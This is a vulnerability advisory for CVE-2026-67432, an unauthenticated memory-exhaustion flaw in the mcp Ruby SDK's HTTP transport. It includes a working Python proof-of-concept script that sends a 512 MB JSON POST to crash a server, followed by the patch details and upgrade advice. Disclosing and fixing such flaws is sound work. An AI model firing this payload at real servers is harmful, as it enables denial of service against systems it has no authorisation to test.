high · 7.5CVE-2026-67432Jul 30, 2026

CVE-2026-67432: mcp (Ruby SDK) Unbounded Request Body Memory Exhaustion

Shubham Kandhare
Security Engagement Manager, SecureLayer7

Any MCP Ruby SDK HTTP server can be crashed by one unauthenticated POST because the transport reads the entire request body into memory with no size limit, letting an attacker inflate the worker…

Packagemcp
Ecosystemrubygems
Affected<= 0.22.0
Fixed in0.23.0
CVE-2026-67432: mcp (Ruby SDK) Unbounded Request Body Memory Exhaustion

The problem

MCP::Server::Transports::StreamableHTTPTransport calls request.body.read with no upper bound, then passes the result to JSON.parse(body, symbolize_names: true), which materialises the full object graph and allocates a Ruby Symbol for every JSON key.

The vulnerable code path runs before session validation, so it is reachable without any Mcp-Session-Id header and in both stateful and stateless: true modes. A single 512 MB POST grew a test worker from 44 MB to 1.66 GB RSS (~37x amplification); workers with a 2 GB cap are OOM-killed by one request.

Proof of concept

A working proof-of-concept for CVE-2026-67432 in mcp, with the exact payload below.

python
import socket

HOST, PORT, PAYLOAD_MB = "127.0.0.1", 9293, 512

inner = b"A" * (PAYLOAD_MB * 1024 * 1024 - 64)
body  = b'{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"x":"' + inner + b"\"}"
body += b'}'

headers = (
    f"POST / HTTP/1.1\r\nHost: {HOST}:{PORT}\r\n"
    f"Content-Type: application/json\r\n"
    f"Accept: application/json, text/event-stream\r\n"
    f"Content-Length: {len(body)}\r\nConnection: close\r\n\r\n"
).encode()

s = socket.create_connection((HOST, PORT), timeout=120)
s.sendall(headers)
for i in range(0, len(body), 1 << 20):
    s.sendall(body[i:i + (1 << 20)])
print(f"sent {PAYLOAD_MB} MB")
try:
    print("recv:", s.recv(2048)[:200])
except OSError as e:
    print("server unresponsive:", e)

The root cause is CWE-770: no quota is applied before request.body.read on line 341 of streamable_http_transport.rb, so body size is bounded only by available RAM. The symbolize_names: true flag to JSON.parse worsens amplification because every unique JSON key allocates a permanent Ruby Symbol on the heap.

The patch (commit 772e0cb1f9db69312006926eee59a7287ad50166) introduces a configurable max_body_size parameter with a hard default of 4 MiB (4 * 1024 * 1024 bytes). The handler now checks the Content-Length header and/or the actual bytes read against that limit and returns HTTP 413 before parsing, cutting off the attack at intake.

The fix

Upgrade the mcp gem to version 0.23.0. The fix enforces a 4 MiB default body-size cap (max_body_size: 4 * 1024 * 1024) in StreamableHTTPTransport before any body.read or JSON.parse call. If your deployment legitimately needs larger payloads you can raise the limit via the constructor option, but set it explicitly rather than leaving it unbounded.

Also consider placing a reverse proxy (nginx, Caddy) in front with its own client_max_body_size directive as a second layer of defence.

Reported by koic.

References: [1][2][3][4][5]

Related research